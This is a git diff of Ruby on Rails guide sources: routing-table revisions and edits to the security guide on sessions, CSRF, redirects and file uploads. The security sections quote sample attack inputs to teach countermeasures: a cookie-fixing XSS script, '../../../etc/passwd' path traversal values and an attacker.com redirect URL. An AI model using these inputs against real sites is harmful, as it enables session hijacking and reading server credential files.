+| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- |
+| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine |
+| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine |
+| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine |
This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
@@ -338,7 +340,7 @@ shallow do
end
```
-There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
```ruby
scope shallow_path: "sekret" do
@@ -350,15 +352,15 @@ end
The comments resource here will have the following routes generated for it:
-| HTTP Verb | Path | Named Helper |
-| --------- | -------------------------------------- | ------------------- |
-| GET | /posts/:post_id/comments(.:format) | post_comments |
-| POST | /posts/:post_id/comments(.:format) | post_comments |
-| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
-| GET | /sekret/comments/:id/edit(.:format) | edit_comment |
-| GET | /sekret/comments/:id(.:format) | comment |
-| PATCH/PUT | /sekret/comments/:id(.:format) | comment |
-| DELETE | /sekret/comments/:id(.:format) | comment |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------------------- | ----------------- | --------------------- |
+| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments_path |
+| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments_path |
+| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment_path |
+| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path |
+| GET | /sekret/comments/:id(.:format) | comments#show | comment_path |
+| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path |
+| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path |
The `:shallow_prefix` option adds the specified parameter to the named helpers:
@@ -372,19 +374,19 @@ end
The comments resource here will have the following routes generated for it:
-| HTTP Verb | Path | Named Helper |
-| --------- | -------------------------------------- | ------------------- |
-| GET | /posts/:post_id/comments(.:format) | post_comments |
-| POST | /posts/:post_id/comments(.:format) | post_comments |
-| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
-| GET | /comments/:id/edit(.:format) | edit_sekret_comment |
-| GET | /comments/:id(.:format) | sekret_comment |
-| PATCH/PUT | /comments/:id(.:format) | sekret_comment |
-| DELETE | /comments/:id(.:format) | sekret_comment |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------------------- | ----------------- | ------------------------ |
+| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments_path |
+| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments_path |
+| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment_path |
+| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path |
+| GET | /comments/:id(.:format) | comments#show | sekret_comment_path |
+| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path |
+| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path |
### Routing concerns
-Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern:
+Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern:
```ruby
concern :commentable do
@@ -485,7 +487,10 @@ end
This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+Within the block of member routes, each route name specifies the HTTP verb
+will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
+. If you don't have multiple `member` routes, you can also pass `:on` to a
+route, eliminating the block:
```ruby
resources :photos do
@@ -626,7 +631,7 @@ This will define a `user_path` method that will be available in controllers, hel
### HTTP Verb Constraints
-In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+In general, you should use the `get`, `post`, `put`, `patch` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
```ruby
match 'photos', to: 'photos#show', via: [:get, :post]
@@ -689,6 +694,8 @@ namespace :admin do
end
```
+NOTE: Request constraints work by calling a method on the <a href="action_controller_overview.html#the-request-object">Request object</a> with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+
### Advanced Constraints
If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
@@ -704,7 +711,7 @@ class BlacklistConstraint
end
end
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: BlacklistConstraint.new
end
@@ -713,7 +720,7 @@ end
You can also specify constraints as a lambda:
```ruby
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
get '*path', to: 'blacklist#index',
constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
end
@@ -842,15 +849,15 @@ resources :photos, controller: 'images'
will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | ---------------- | ------- | -------------------- |
-| GET | /photos | index | photos_path |
-| GET | /photos/new | new | new_photo_path |
-| POST | /photos | create | photos_path |
-| GET | /photos/:id | show | photo_path(:id) |
-| GET | /photos/:id/edit | edit | edit_photo_path(:id) |
-| PATCH/PUT | /photos/:id | update | photo_path(:id) |
-| DELETE | /photos/:id | destroy | photo_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET | /photos | images#index | photos_path |
+| GET | /photos/new | images#new | new_photo_path |
+| POST | /photos | images#create | photos_path |
+| GET | /photos/:id | images#show | photo_path(:id) |
+| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id | images#update | photo_path(:id) |
+| DELETE | /photos/:id | images#destroy | photo_path(:id) |
NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
@@ -863,8 +870,8 @@ resources :user_permissions, controller: 'admin/user_permissions'
This will route to the `Admin::UserPermissions` controller.
NOTE: Only the directory notation is supported. Specifying the
-controller with Ruby constant notation (eg. `:controller =>
-'Admin::UserPermissions'`) can lead to routing problems and results in
+controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
+can lead to routing problems and results in
a warning.
### Specifying Constraints
@@ -900,15 +907,15 @@ resources :photos, as: 'images'
will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | ---------------- | ------- | -------------------- |
-| GET | /photos | index | images_path |
-| GET | /photos/new | new | new_image_path |
-| POST | /photos | create | images_path |
-| GET | /photos/:id | show | image_path(:id) |
-| GET | /photos/:id/edit | edit | edit_image_path(:id) |
-| PATCH/PUT | /photos/:id | update | image_path(:id) |
-| DELETE | /photos/:id | destroy | image_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET | /photos | photos#index | images_path |
+| GET | /photos/new | photos#new | new_image_path |
+| POST | /photos | photos#create | images_path |
+| GET | /photos/:id | photos#show | image_path(:id) |
+| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id | photos#update | image_path(:id) |
+| DELETE | /photos/:id | photos#destroy | image_path(:id) |
### Overriding the `new` and `edit` Segments
@@ -1005,15 +1012,15 @@ end
Rails now creates routes to the `CategoriesController`.
-| HTTP Verb | Path | Action | Used for |
-| --------- | -------------------------- | ------- | ----------------------- |
-| GET | /kategorien | index | categories_path |
-| GET | /kategorien/neu | new | new_category_path |
-| POST | /kategorien | create | categories_path |
-| GET | /kategorien/:id | show | category_path(:id) |
-| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) |
-| PATCH/PUT | /kategorien/:id | update | category_path(:id) |
-| DELETE | /kategorien/:id | destroy | category_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------- | ------------------ | ----------------------- |
+| GET | /kategorien | categories#index | categories_path |
+| GET | /kategorien/neu | categories#new | new_category_path |
+| POST | /kategorien | categories#create | categories_path |
+| GET | /kategorien/:id | categories#show | category_path(:id) |
+| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) |
+| DELETE | /kategorien/:id | categories#destroy | category_path(:id) |
### Overriding the Singular Form
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index 5564b0648b..8faf03e58c 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -51,7 +51,7 @@ Use the same typography as in regular text:
API Documentation Guidelines
----------------------------
-The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html):
* [Wording](api_documentation_guidelines.html#wording)
* [Example Code](api_documentation_guidelines.html#example-code)
diff --git a/guides/source/security.md b/guides/source/security.md
index ad0546810d..0f4d4e712b 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -17,7 +17,7 @@ After reading this guide, you will know:
Introduction
------------
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
@@ -58,9 +58,9 @@ WARNING: _Stealing a user's session id lets an attacker use the web application
Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
-Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
```ruby
config.force_ssl = true
@@ -70,9 +70,9 @@ Hence, the cookie serves as temporary authentication for the web application. An
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
### Session Guidelines
@@ -81,7 +81,7 @@ Here are some general guidelines on sessions.
* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
### Session Storage
@@ -93,11 +93,18 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
-`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
+`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
- YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+ development:
+ secret_key_base: a75d...
+
+ test:
+ secret_key_base: 492f...
+
+ production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
@@ -111,9 +118,9 @@ It works like this:
* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* Their new, lower credit will be stored in the session.
+* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
+* The user has their credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
@@ -121,20 +128,20 @@ The best _solution against it is not to store this kind of data in a session, bu
### Session Fixation
-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
![Session fixation](images/session_fixation.png)
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
+* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
* As the new trap session is unused, the web application will require the user to authenticate.
* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-### Session Fixation – Countermeasures
+### Session Fixation - Countermeasures
TIP: _One line of code will protect you from session fixation._
@@ -144,13 +151,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec
reset_session
```
-If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
### Session Expiry
-NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
@@ -187,11 +194,11 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails
* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_.
### CSRF Countermeasures
@@ -230,26 +237,27 @@ Or the attacker places the code into the onmouseover event handler of an image:
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```
-There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:
```ruby
-protect_from_forgery secret: "123456789012345678901234567890..."
+protect_from_forgery with: :exception
```
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
```ruby
-def handle_unverified_request
- super
- sign_out_user # Example method that will destroy the user cookies.
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+ sign_out_user # Example method that will destroy the user cookies
end
```
-The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.
-Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
Redirection and Files
---------------------
@@ -258,7 +266,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
### Redirection
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
@@ -268,7 +276,7 @@ def legacy
end
```
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL:
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -288,9 +296,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
```ruby
def sanitize_filename(filename)
@@ -305,7 +313,7 @@ def sanitize_filename(filename)
end
```
-A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
@@ -313,7 +321,7 @@ The solution to this is best to _process media files asynchronously_: Save the m
WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
@@ -327,7 +335,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa
send_file('/var/www/uploads/' + params[:filename])
```
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
```ruby
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
@@ -352,11 +360,11 @@ Having one single place in the admin interface or Intranet, where the input has
Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
@@ -379,7 +387,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
